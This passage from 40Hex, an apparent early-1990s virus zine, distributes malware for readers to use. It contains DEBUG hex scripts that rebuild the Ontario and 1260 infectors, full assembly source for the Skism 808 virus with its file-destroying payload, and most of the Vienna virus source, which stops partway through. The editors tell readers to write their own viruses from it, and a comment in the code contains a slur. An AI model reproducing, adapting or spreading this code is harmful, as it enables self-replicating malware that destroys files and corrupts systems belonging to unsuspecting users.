40Hex Volume 1 Issue 2.3
The Ontario Virus
Here a quick nice little virus from our boyz up north.
V Status: Rare
Discovered: July, 1990
Symptoms: .COM & .EXE growth; decrease in system and free memory;
hard disk errors in the case of extreme infections
Origin: Ontario, Canada
Eff Length: 512 Bytes
Type Code: PRtAK - Parasitic Encrypted Resident .COM & .EXE Infector
Detection Method: ViruScan V66+, Pro-Scan 2.01+, NAV
Removal Instructions: SCAN /D, or Delete infected files
General Comments:
The Ontario Virus was isolated by Mike Shields in Ontario, Canada
in July, 1990. The Ontario virus is a memory resident infector of
.COM, .EXE, and overlay files. It will infect COMMAND.COM.
The first time a program infected with the Ontario Virus is executed,
it will install itself memory resident above the top of system memory
but below the 640K DOS boundary. Total system memory and free memory
will be decreased by 2,048 bytes. At this time, the virus will
infect COMMAND.COM on the C: drive, increasing its length by 512 bytes.
Each time an uninfected program is executed on the system with the
virus memory resident, the program will become infected with the viral
code located at the end of the file. For .COM files, they will
increase by 512 bytes in all cases. For .EXE and overlay files, the
file length increase will be 512 - 1023 bytes. The difference in
length for .EXE and overlay files is because the virus will fill out
the unused space at the end of the last sector of the uninfected file
with random data (usually a portion of the directory) and then append
itself to the end of the file at the next sector. Systems using
a sector size of more than 512 bytes may notice larger file increases
for infected files. Infected files will always have a file length
that is a multiple of the sector size on the disk.
In the case of extreme infections of the Ontario Virus, hard disk
errors may be noticed.
Ontario uses a complex encryption routine, and a simple identification
string will not identify this virus.
------------------------------------------------------------------------------
n ontario.com
e 0100 E9 1D 00 1D 66 65 63 74 65 64 20 50 72 6F 67 72
e 0110 61 6D 2E 20 0D 0A 24 BA 02 01 B4 09 CD 21 CD 20
e 0120 90 E8 E9 01 93 84 7B D9 F8 69 7C 3C 84 7B B6 A5
e 0130 71 60 0F CB 65 B7 BB 0A A3 07 55 97 7F 86 BE 9A
e 0140 FF 84 55 0D E5 84 79 AA F7 1A 79 86 F7 47 30 0A
e 0150 A0 05 55 87 7B 04 7B 25 69 84 56 04 7B 27 69 84
e 0160 F5 44 75 9B F0 71 48 7B C2 80 79 78 88 20 F5 5D
e 0170 81 43 7D 00 7B FB 7B 27 FD 84 80 3C 84 CF B6 A5
e 0180 64 9A 7C 8F 96 F0 77 09 CD FF 7B 3B 7B 85 2C 78
e 0190 DE 21 B8 08 BB AA 7A 82 06 84 91 6F 6E CD 15 B9
e 01A0 84 7B 0E 86 3B 4B FB 78 30 F1 6F B8 78 F0 6B B8
e 01B0 84 F1 72 8A 64 3E A6 85 93 8D 7B 4B 93 81 7B AA
e 01C0 84 AA 7B 86 7D 9A 29 D5 28 D4 C3 84 38 6C 5D 85
e 01D0 09 9C 8D 45 7A F0 70 04 9A 7A C3 85 38 6C 6D 85
e 01E0 09 8C C3 86 46 6C 75 85 08 87 92 86 7A 0F A3 8A
e 01F0 64 3C 7B D3 93 7B 7B 0D 75 80 79 0D 6D 82 79 3E
e 0200 73 86 C2 9F 7B 30 44 6C 97 84 09 CC FA BA 73 86
e 0210 36 DE 0F BD DB 8D 79 BE 7D 8F 79 F0 4C B7 A9 B7
e 0220 B2 3C 79 C6 93 4B 7B F6 50 B9 7B 64 0C A2 2B 25
e 0230 73 86 D8 FF 7B 25 71 86 D8 F9 7B DC 56 87 7B 42
e 0240 7D 8C 79 6D D8 8D 79 26 70 86 90 CD EB 07 45 98
e 0250 79 85 0E 87 92 01 7B 25 77 86 C2 84 79 73 9A D4
e 0260 29 35 7F 57 B1 57 93 87 B9 AF 7D 94 79 D4 DA 98
e 0270 79 27 00 84 DA 9A 79 81 6B 84 D8 F9 7B DC D8 9A
e 0280 79 43 7D 98 79 85 7B 7B 7D 88 79 DD 21 3C 7B C6
e 0290 93 E7 7B F6 3C 04 4D 7C 7A 8C 48 44 F5 5C DB E8
e 02A0 7F 8A 64 8A 7C 26 97 85 48 72 C4 A0 79 D3 C2 84
e 02B0 79 78 88 20 C5 AC 79 6C 21 84 21 3D 7B 86 CF C4
e 02C0 93 B7 7B F6 6C B7 B2 B7 A9 3C 7B C6 93 A3 7B F6
e 02D0 70 3E 73 86 C2 9F 7B 30 3B 6C 61 84 F0 92 7D 86
e 02E0 F0 8A 7F 86 C3 85 2C 6C 77 84 CF BA 93 83 7B DC
e 02F0 20 DD 21 9B 7C 47 E7 AA 84 9A 7B 86 B8 C7 41 D8
e 0300 38 CB 36 C9 3A CA 3F AA 38 CB 36 84 84 5E 56 2E
e 0310 8A 84 E8 01 B9 E8 01 F6 D0 2E 30 04 46 E2 F8 C3
rcx
220
w
q
------------------------------------------------------------------------------
HR
40Hex Volume 1 Issue 2 0009
The 1260 Virus
Here's a nice little encrypting virus written in America.
Aliases: V2P1
V Status: Research
Discovery: January, 1990
Symptoms: .COM file growth
Origin: Minnesota, USA
Eff Length: 1,260 Bytes
Type Code: PNC - Parasitic Encrypting Non-Resident .COM Infector
Detection Method: ViruScan V57+, IBM Scan, Pro-Scan 1.4+, F-Prot 1.12+,
AVTK 3.5+, VirHunt 2.0+, NAV
Removal Instructions: CleanUp V57+, Pro-Scan 1.4+, F-Prot 1.12+, VirHunt 2.0+
General Comments:
The 1260 virus was first isolated in January, 1990. This
virus does not install itself resident in memory, but is it
extremely virulent at infecting .COM files. Infected files
will have their length increased by 1,260 bytes, and the
resulting file will be encrypted. The encryption key changes
with each infection which occurs.
The 1260 virus is derived from the original Vienna Virus, though
it is highly modified.
This virus was developed as a research virus by Mark Washburn, who
wished to show the anti-viral community why identification string
scanners do not work in all cases. The encryption used in 1260 is
one of many possible cases of the encryption which may occur with
Washburn's later research virus, V2P2.
------------------------------------------------------------------------------
n 1260.com
e 0100 E9 1D 00 6E 66 65 63 74 65 64 20 50 72 6F 67 72
e 0110 61 6D 2E 20 0D 0A 24 BA 02 01 B4 09 CD 21 CD 20
e 0120 90 B8 89 86 4B B9 FD 04 FC 46 BF 47 01 90 2B DA
e 0130 31 0D 33 D1 2B D8 31 05 47 42 4B 40 90 E2 EE 4B
e 0140 4B 42 47 43 42 F8 47 FF 18 71 18 D2 A5 40 19 E2
e 0150 6D B4 08 F8 5C FA F4 A6 EB 08 55 F2 F4 73 82 1A
e 0160 65 C4 C4 4F 82 24 55 FA F4 7B B2 16 55 F4 E4 6F
e 0170 A2 00 1F F9 0C C2 F7 7D 06 73 32 66 F4 45 84 87
e 0180 3D 81 84 7A 77 5E 7F 04 40 C2 39 D7 C8 FA 28 C1
e 0190 B6 E1 0D 64 E6 FC 40 D9 39 D3 38 FA 71 A4 38 0A
e 01A0 6B E1 82 38 C3 71 22 77 36 13 F4 42 EE 37 C5 E0
e 01B0 B2 6C E2 CA E4 45 F4 F6 AA A4 75 30 68 FA A8 BE
e 01C0 05 83 F7 A9 BC FF F5 5B 5B 86 18 15 0F A5 E2 6E
e 01D0 9B 17 6E 39 64 3D 54 F7 7E 0D 1E CD 65 37 46 B9
e 01E0 31 C3 B0 C3 2C DF F7 3B EB A5 D3 79 EB D7 E5 6C
e 01F0 1B C5 6E 91 11 7A 32 56 F5 5F C9 CC 81 F0 B9 87
e 0200 F1 87 2F 6C 71 37 4B F7 F5 A8 EA 7E 83 0F 65 1A
e 0210 1A 97 E6 57 B9 51 7C 89 07 78 06 76 33 6D C5 7E
e 0220 C3 C3 36 63 4E 08 41 B9 7E 25 74 35 54 FB 5C E4
e 0230 E5 2E C4 0C E3 6B 39 43 BA 3E D4 84 F6 10 9A CB
e 0240 8E 87 F2 07 21 E4 CE EF 86 19 73 4C 09 FC E2 18
e 0250 96 01 61 5C 19 FC F8 84 2C 7F 8C 02 A4 7D 04 3F
e 0260 C2 68 68 FC C2 89 08 AE 4A F4 B1 7B 24 7D 20 41
e 0270 E2 29 C3 69 AC 0A 4A F1 B1 75 13 0E 0D 77 54 01
e 0280 40 25 82 4D A3 44 F0 CD 79 22 73 32 53 FC 2F C1
e 0290 91 E0 0B 88 E3 30 79 28 4A F4 A5 3D D3 75 8C 38
e 02A0 4B 92 38 74 FD 45 F1 F0 79 22 73 32 62 FC 2F C1
e 02B0 2E BF CB FA 2E 09 3A F3 F2 38 B0 C7 E3 30 7A CF
e 02C0 0F 49 C1 3E 85 F3 FD 45 FD FB 30 DE 8E F0 04 FA
e 02D0 EC 27 67 36 21 2C A9 37 AC 37 78 57 FE F3 01 2F
e 02E0 A4 4F 59 CF 4C 32 20 FB 31 9F 12 01 31 87 18 00
e 02F0 42 E8 21 7D F6 FE 49 D3 30 DA CE 2E 31 0D FA D9
e 0300 7D 47 4C A6 A9 F2 31 37 BE BD 0D 33 1A 31 12 EF
e 0310 21 CF CC 2A E9 3F 31 BA BB 13 31 78 F3 77 CA CF
e 0320 94 07 CD 4E 0C D4 FC 76 71 FA FD 33 6D 8B 17 EF
e 0330 66 AD 1D 23 D3 44 BB 15 74 7F F9 FF 31 1A 6F F1
e 0340 C1 08 8F E0 D0 F0 30 2E A7 24 7D 3D DB F2 2B A8
e 0350 0A ED EC 06 F8 F3 75 80 12 7B 3F EE FC 3E EA 2F
e 0360 8A 2C 4F CE 00 BE 58 FF FD 7B 3F EE FC 3E 5B B1
e 0370 14 EA 55 EC EC 79 8A 12 30 00 87 38 D9 F2 7F 2A
e 0380 07 CC 62 A5 4B BD 56 75 B2 16 7D 17 4A F1 D7 21
e 0390 98 E3 56 EE EC 1A 4A FE 17 17 30 75 8A 1E 9A 45
e 03A0 32 06 6D D6 F5 F2 7D 38 AB FA 30 C2 41 35 E2 EC
e 03B0 67 3D 1F 4A B2 A9 14 6C FC FF FA FE AC 0D EE C3
e 03C0 E4 90 2E 32 E1 F7 31 9C EB E7 45 FF BF 4A ED EF
e 03D0 57 EB ED 22 CC 81 F2 4B BD 42 FE FF 31 27 92 19
e 03E0 4C 09 5E CF 00 D2 76 A9 07 70 B3 07 7C 12 0D 10
e 03F0 6C 22 F2 EF 55 F2 AA 32 DC 4F C3 32 DC 4B 8C CC
e 0400 06 C5 7B 04 5B 72 3F 5E FD 36 DC E1 76 A5 11 61
e 0410 B3 15 59 F5 20 D2 E2 A6 CE 3B CE 24 CE 21 FE 39
e 0420 46 2E 72 CF CC A4 15 51 FD 38 76 B1 0D 72 1C D3
e 0430 6C 6A 2C A7 7F 22 34 2E 34 2A 34 76 B3 03 8C EE
e 0440 0A 0B 5C 4E 3E 33 07 2F 2E A1 3D A4 AE 33 06 35
e 0450 11 6D 3E 99 17 FB 2E 77 3F 29 1E AC 29 7B 06 94
e 0460 8E 1F CD 8A 22 7B 0E 0F 5A 3B 44 FC FE 18 30 13
e 0470 65 2A CD AA 08 CB B8 1A 8B 0B 3D AF 75 2C DE DA
e 0480 05 FF 8C 73 C9 F2 77 8A 1A 54 CE F8 74 B7 E9 E0
e 0490 EF 60 A9 EB B0 A8 A5 33 AD 73 22 AC A8 7B B8 28
e 04A0 62 F8 CA 46 89 F7 DA 02 76 BF F9 A2 A6 AB 21 70
e 04B0 F0 B8 56 EC EE A0 E1 77 B8 14 D3 7E FE 0A AD 03
e 04C0 0D 80 4B E3 20 96 FD 5C F9 FB F3 A7 5E F5 ED 4C
e 04D0 E3 EB 16 B7 F2 6E 3E 63 E3 AB 45 FF FD A3 D2 44
e 04E0 8B 2B 37 6C C1 F3 76 B9 21 58 F9 FF 76 B5 33 4C
e 04F0 EB EB 66 A9 0F 50 F3 FF 06 A3 E2 62 3E 4C CA 8E
e 0500 35 02 0B 36 70 F7 05 03 BB B0 6D CE F8 C2 E0 DC
e 0510 3C D8 34 C4 35 D8 24 D4 27 6B BD B8 BE B5 8F 37
e 0520 86 5B 2F 28 CE F3 FE FC FE FD FC F6 FC F9 EC E4
e 0530 EC E7 EC E2 EF FD FF EF FF E9 FF EB FF E5 0F 17
e 0540 0F 11 0C 13 0C EE FD E0 FD E5 FD DE FD D3 ED CC
e 0550 ED C9 ED CA 67 BC 14 75 BA 10 77 00 7D 1D 7A CD
e 0560 24 EB CC 7A 8C 4B 10 FA 77 2C 7D 14 21 F1 21 CF
e 0570 70 BA 67 A0 04 79 BA 14 77 04 7D 11 4A F1 64 8D
e 0580 8C D2 11 4D BD F7 CD F3 BC BD 1E 06 3F 19 F9 A7
e 0590 05 F7 EC C4 C2 B1 B3 B3 FC AA BD AA B4 CF 98 87
e 05A0 82 93 E2 8D 83 BF FC B3 FC FA FC FE FC F2 EC EE
e 05B0 EC EA EC EE EC F2 FC FE FC FA FC FE FC F2 0C 0F
e 05C0 0D 0B 0D 0F 0D F3 FD FF FD FB FD FF FD F3 ED EF
e 05D0 ED EB ED EF ED F3 FD FF FD FB FD FF FD F3 CF F0
e 05E0 F2 F4 F2 F0 F2 CC C2 BC B2 B6 FE FC FD F3 ED EF
e 05F0 ED EB ED CF CA 97 A6 ED DD FB FD FF A9 BA C3 D6
e 0600 A3 C8 C2 C2 8D BE FD B2 FD FB FD FF 1A 1A 1A 1A
rcx
50C
w
q
------------------------------------------------------------------------------
HR
40Hex Volume 1 Issue 2 0010
The 808 Virus
Here another virus from Skism. It's a quick overwriting virus but
you can use the source code to write your own viruses.
------------------------------------------------------------------------------
;The Skism 808 Virus. Created 1991 by Smart Kids Into Sick Methods.
filename EQU 30 ;used to find file name
fileattr EQU 21 ;used to find file attributes
filedate EQU 24 ;used to find file date
filetime EQU 22 ;used to find file time
code_start EQU 0100h ;start of all .COM files
virus_size EQU 808 ;TR 808
code segment 'code'
assume cs:code,ds:code,es:code
org code_start
main proc near
jmp virus_start
encrypt_val db 00h
virus_start:
call encrypt ;encrypt/decrypt file
jmp virus ;go to start of code
encrypt:
push cx
mov bx,offset virus_code ;start encryption at data
xor_loop:
mov ch,[bx] ;read current byte
xor ch,encrypt_val ;get encryption key
mov [bx],ch ;switch bytes
inc bx ;move bx up a byte
cmp bx,offset virus_code+virus_size
;are we done with the encryption
jle xor_loop ;no? keep going
pop cx
ret
infectfile:
mov dx,code_start ;where virus starts in memory
mov bx,handle ;load bx with handle
push bx ;save handle on stack
call encrypt ;encrypt file
pop bx ;get back bx
mov cx,virus_size ;number of bytes to write
mov ah,40h ;write to file
int 21h ;
push bx
call encrypt ;fix up the mess
pop bx
ret
virus_code:
wildcards db "*",0 ;search for directory argument
filespec db "*.EXE",0 ;search for EXE file argument
filespec2 db "*.*",0
rootdir db "\",0 ;argument for root directory
dirdata db 43 dup (?) ;holds directory DTA
filedata db 43 dup (?) ;holds files DTA
diskdtaseg dw ? ;holds disk dta segment
diskdtaofs dw ? ;holds disk dta offset
tempofs dw ? ;holds offset
tempseg dw ? ;holds segment
drivecode db ? ;holds drive code
currentdir db 64 dup (?) ;save current directory into this
handle dw ? ;holds file handle
orig_time dw ? ;holds file time
orig_date dw ? ;holds file date
orig_attr dw ? ;holds file attr
idbuffer dw 2 dup (?) ;holds virus id
virus:
mov ax,3000h ;get dos version
int 21h ;
cmp al,02h ;is it at least 2.00?
jb bus1 ;won't infect less than 2.00
mov ah,2ch ;get time
int 21h ;
mov encrypt_val,dl ;save m_seconds to encrypt val so
;theres 100 mutations possible
setdta:
mov dx,offset dirdata ;offset of where to hold new dta
mov ah,1ah ;set dta address
int 21h ;
newdir:
mov ah,19h ;get drive code
int 21h ;
mov dl,al ;save drivecode
inc dl ;add one to dl, because functions differ
mov ah,47h ;get current directory
mov si, offset currentdir ;buffer to save directory in
int 21h ;
mov dx,offset rootdir ;move dx to change to root directory
mov ah,3bh ;change directory to root
int 21h ;
scandirs:
mov cx,13h ;include hidden/ro directorys
mov dx, offset wildcards ;look for '*'
mov ah,4eh ;find first file
int 21h ;
cmp ax,12h ;no first file?
jne dirloop ;no dirs found? bail out
bus1:
jmp bus
dirloop:
mov ah,4fh ;find next file
int 21h ;
cmp ax,12h
je bus ;no more dirs found, roll out
chdir:
mov dx,offset dirdata+filename;point dx to fcb - filename
mov ah,3bh ;change directory
int 21h ;
mov ah,2fh ;get current dta address
int 21h ;
mov [diskdtaseg],es ;save old segment
mov [diskdtaofs],bx ;save old offset
mov dx,offset filedata ;offset of where to hold new dta
mov ah,1ah ;set dta address
int 21h ;
scandir:
mov cx,07h ;find any attribute
mov dx,offset filespec ;point dx to "*.COM",0
mov ah,4eh ;find first file function
int 21h ;
cmp ax,12h ;was file found?
jne transform
nextexe:
mov ah,4fh ;find next file
int 21h ;
cmp ax,12h ;none found
jne transform ;found see what we can do
mov dx,offset rootdir ;move dx to change to root directory
mov ah,3bh ;change directory to root
int 21h ;
mov ah,1ah ;set dta address
mov ds,[diskdtaseg] ;restore old segment
mov dx,[diskdtaofs] ;restore old offset
int 21h ;
jmp dirloop
bus:
jmp rollout
transform:
mov ah,2fh ;temporally store dta
int 21h ;
mov [tempseg],es ;save old segment
mov [tempofs],bx ;save old offset
mov dx, offset filedata + filename
mov bx,offset filedata ;save file...
mov ax,[bx]+filedate ;date
mov orig_date,ax ;
mov ax,[bx]+filetime ;time
mov orig_time,ax ; and
mov ax,[bx]+fileattr ;
mov ax,4300h
int 21h
mov orig_attr,cx
mov ax,4301h ;change attributes
xor cx,cx ;clear attributes
int 21h ;
mov ax,3d00h ;open file - read
int 21h ;
jc fixup ;error - find another file
mov handle,ax ;save handle
mov ah,3fh ;read from file
mov bx,handle ;move handle to bx
mov cx,02h ;read 2 bytes
mov dx,offset idbuffer ;save to buffer
int 21h ;
mov ah,3eh ;close file for now
mov bx,handle ;load bx with handle
int 21h ;
mov bx, idbuffer ;fill bx with id string
cmp bx,02ebh ;infected?
jne doit ;same - find another file
fixup:
mov ah,1ah ;set dta address
mov ds,[tempseg] ;restore old segment
mov dx,[tempofs] ;restore old offset
int 21h ;
jmp nextexe
doit:
mov dx, offset filedata + filename
mov ax,3d02h ;open file read/write access
int 21h ;
mov handle,ax ;save handle
call infectfile
;mov ax,3eh ;close file
;int 21h
rollout:
mov ax,5701h ;restore original
mov bx,handle ;
mov cx,orig_time ;time and
mov dx,orig_date ;date
int 21h ;
mov ax,4301h ;restore original attributes
mov cx,orig_attr
mov dx,offset filedata + filename
int 21h
;mov bx,handle
;mov ax,3eh ;close file
;int 21h
mov ah,3bh ;try to fix this
mov dx,offset rootdir ;for speed
int 21h ;
mov ah,3bh ;change directory
mov dx,offset currentdir ;back to original
int 21h ;
mov ah,2ah ;check system date
int 21h ;
cmp cx,1991 ;is it at least 1991?
jb audi ;no? don't do it now
cmp dl,25 ;is it the 25th?
jb audi ;not yet? quit
cmp al,5 ;is Friday?
jne audi ;no? quit
mov dx,offset dirdata ;offset of where to hold new dta
mov ah,1ah ;set dta address
int 21h ;
mov ah,4eh ;find first file
mov cx,7h ;
mov dx,offset filespec2 ;offset *.*
Loops:
int 21h ;
jc audi ;error? then quit
mov ax,4301h ;find all normal files
xor cx,cx ;
int 21h ;
mov dx,offset dirdata + filename
mov ah,3ch ;fuck up all files in current dir
int 21h ;
jc audi ;error? quit
mov ah,4fh ;find next file
jmp loops ;
audi:
mov ax,4c00h ;end program
int 21h ;
;The below is just text to pad out the virus size to 808 bytes. Don't
;just change the text and claim that this is your creation.
words_ db "Skism Rythem Stack Virus-808. Smart Kids Into Sick Methods",0
words2 db " Dont alter this code into your own strain, faggit. ",0
words3 db " HR/SSS NYCity, this is the fifth of many, many more....",0
words4 db " You sissys.....",0
main endp
code ends
end main
------------------------------------------------------------------------------
HR
40Hex Volume 1 Issue 2 0011
Vienna and Violator Viruses
The Vienna virus, since it's source code was released, has become
one of the most common viruses ever. Not only that but there are
over 20 known strains of this virus. We at 40Hex want to add on to
the list by giving out the source for the orginal Vienna virus as
well as the Violator-B source by Rabid.
------------------------------------------------------------------------------
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
;*****************************************************************************
;Start out with a JMP around the remains of the original .COM file, into the
;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
;The rest of the file (first 3 bytes) are stored in the virus data area.
;*****************************************************************************
VCODE: JMP virus
;This was the rest of the original .COM file. Tiny and simple, this time
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
;************************************************************
; The actual virus starts here
;************************************************************
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
; The 2nd and 3rd bytes get modified.
CLD ;Pointers will be auto INcremented
MOV SI,DX ;Access data as offset from SI
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
MOV CX,3
REPZ MOVSB ;Restore original first 3 bytes of .COM
MOV SI,DX ;Keep SI pointing to the data area
;*************************************************************
; Check the DOS version
;*************************************************************
MOV AH,30H
INT 21H
CMP AL,0 ;0 means it's version 1.X
JNZ dos_ok ;For version 2.0 or greater
JMP quit ;Don't try to infect version 1.X
;*************************************************************
; Here if the DOS version is high enough for this to work
;*************************************************************
dos_ok: PUSH ES
;*************************************************************
; Get DTA address into ES:BX
;*************************************************************
MOV AH,2FH
INT 21H
;*************************************************************
; Save the DTA address
;*************************************************************
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES ;Save the DTA address
POP ES
;*************************************************************
; Set DTA to point inside the virus data area
;*************************************************************
MOV DX,dta ;Offset of new DTA in virus data area
; NOP ;MASM will add this NOP here
ADD DX,SI ;Compute DTA address
MOV AH,1AH
INT 21H ;Set new DTA to inside our own code
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0 ;ES:DI points to environment
;************************************************************
; Find the "PATH=" string in the environment
;************************************************************
find_path:
POP SI
PUSH SI ;Get SI back
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
REPNZ SCASB ;Search for first character
MOV CX,4
;************************************************************
; Loop to check for the next four characters
;************************************************************
check_next_4:
LODSB
SCASB
JNZ find_path ;If not all there, abort & start over
LOOP check_next_4 ;Loop to check the next character
POP SI
POP ES
MOV [SI+path_ad],DI ;Save the address of the PATH
MOV DI,SI
ADD DI,wrk_spc ;File name workspace
MOV BX,SI ;Save a copy of SI
ADD SI,wrk_spc ;Point SI to workspace
MOV DI,SI ;Point DI to workspace
JMP SHORT slash_ok
;**********************************************************
; Look in the PATH for more subdirectories, if any
;**********************************************************
set_subdir:
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
JNZ found_subdir ;If not, there are more subdirectories
JMP all_done ;Else, we're all done
;**********************************************************
; Here if there are more subdirectories in the path
;**********************************************************
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
;***********************************************************
; Move subdirectory name into file name workspace
;***********************************************************
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
;******************************************************************
; Mark the fact that we're looking through the final subdirectory
;******************************************************************
moved_last_one:
MOV SI,0
;******************************************************************
; Here after we've moved a subdirectory
;******************************************************************
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
NOP
;******************************************************************
; Make sure subdirectory ends in a "\"
;******************************************************************
CMP CH,'\' ;Ends with "\"?
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
;******************************************************************
; Here after we know there's a backslash at end of subdir
;******************************************************************
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
;*******************************************************************
; Find first string matching *.COM
;*******************************************************************
MOV AH,4EH
MOV DX,wrk_spc
; NOP ;MASM will add this NOP here
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
JMP SHORT find_first
;*******************************************************************
; Find next ASCIIZ string matching *.COM
;*******************************************************************
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
;*******************************************************************
; Here when we find a file
;*******************************************************************
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1FH ;Mask to remove all but seconds
CMP AL,1FH ;62 seconds -> already infected
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
;********************************************************************
; Move the name to the end of the path
;********************************************************************
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
;********************************************************************
; Get File Attributes
;********************************************************************
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc ;Point to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H
MOV [SI+old_att],CX ;Save the old attributes
;********************************************************************
; Rewrite the attributes to allow writing to the file
;********************************************************************
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
MOV DX,wrk_spc ;Offset of \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
;********************************************************************
; Open Read/Write channel to the file
;********************************************************************
MOV AX,OFFSET 3D02H ;Read/Write
MOV DX,wrk_spc ;Offset to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
;*******************************************************************
; Get the file date & time
;*******************************************************************
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
;*******************************************************************
; Get current system time
;*******************************************************************
MOV AH,2CH
INT 21H
AND DH,7 ;Last 3 bits 0? (once in eight)
JNZ seven_in_eight
;*******************************************************************
; The special "one in eight" infection. If the above line were in
; its original form, this code would be run 1/8 of the time, and
; rather than appending a copy of this virus to the .COM file, the
; file would get 5 bytes of code that reboot the system when the
; .COM file is run.
;*******************************************************************
MOV AH,40H ;Write to file
MOV CX,5 ;Five bytes
MOV DX,SI
ADD DX,reboot ;Offset of reboot code in data area
INT 21H
JMP SHORT fix_time_stamp
NOP
;******************************************************************
; Here's where we infect a .COM file with this virus
;******************************************************************
seven_in_eight:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp ;Quit, if read failed
CMP AX,3 ;Were we able to read all 3 bytes?
JNZ fix_time_stamp ;Quit, if not
;******************************************************************
; Move file pointer to end of file
;******************************************************************
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Quit, if it didn't work
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
;Point DI to reference vir_dat, at start of pgm
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
;*******************************************************************
; Write virus code to file
;*******************************************************************
MOV AH,40H
MOV_CX virlen ;Length of virus, in bytes
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
; address of virus code in memory
INT 21H
JB fix_time_stamp ;Jump if error
CMP AX,OFFSET virlen ;All bytes written?
JNZ fix_time_stamp ;Jump if error
;**********************************************************************
; Move file pointer to beginning of the file
;**********************************************************************
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Jump if error
;**********************************************************************
; Write the 3 byte JMP at the start of the file
;**********************************************************************
MOV AH,40H
MOV CX,3
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
INT 21H
;**********************************************************************
; Restore old file date & time, with seconds modified to 62
;**********************************************************************
fix_time_stamp:
MOV DX,[SI+ol_date] ;Old file date
MOV CX,[SI+old_tim] ;Old file time
AND CX,OFFSET 0FFE0H
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
MOV AX,OFFSET 5701H
INT 21H
;**********************************************************************
; Close File
;**********************************************************************
MOV AH,3EH
INT 21H
;**********************************************************************
; Restore Old File Attributes
;**********************************************************************
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
MOV DX,wrk_spc
; NOP ;MASM will add this NOP
ADD DX,SI ;DX points to \path\name in workspace
INT 21H
;**********************************************************************
; Here when it's time to close it up & end
;**********************************************************************
all_done:
PUSH DS
;**********************************************************************
; Restore old DTA
;**********************************************************************
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
;*************************************************************************
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
; in since the address in a real JMP 100 is an offset, and the offset
; varies from one infected file to the next. By PUSHing an 0100H onto the
; stack, we can RET to address 0100H just as though we JMPed there.
;**********************************************************************
quit:
POP CX
XOR AX,AX
XOR BX,BX
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
;************************************************************************
;The virus data starts here. It's accessed off the SI register, per the
; comments as shown
;************************************************************************
vir_dat EQU $
;Use this with (SI + old_dta)
olddta_ DW 0 ;Old DTA offset
;Use this with (SI + old_dts)
olddts_ DW 0 ;Old DTA segment
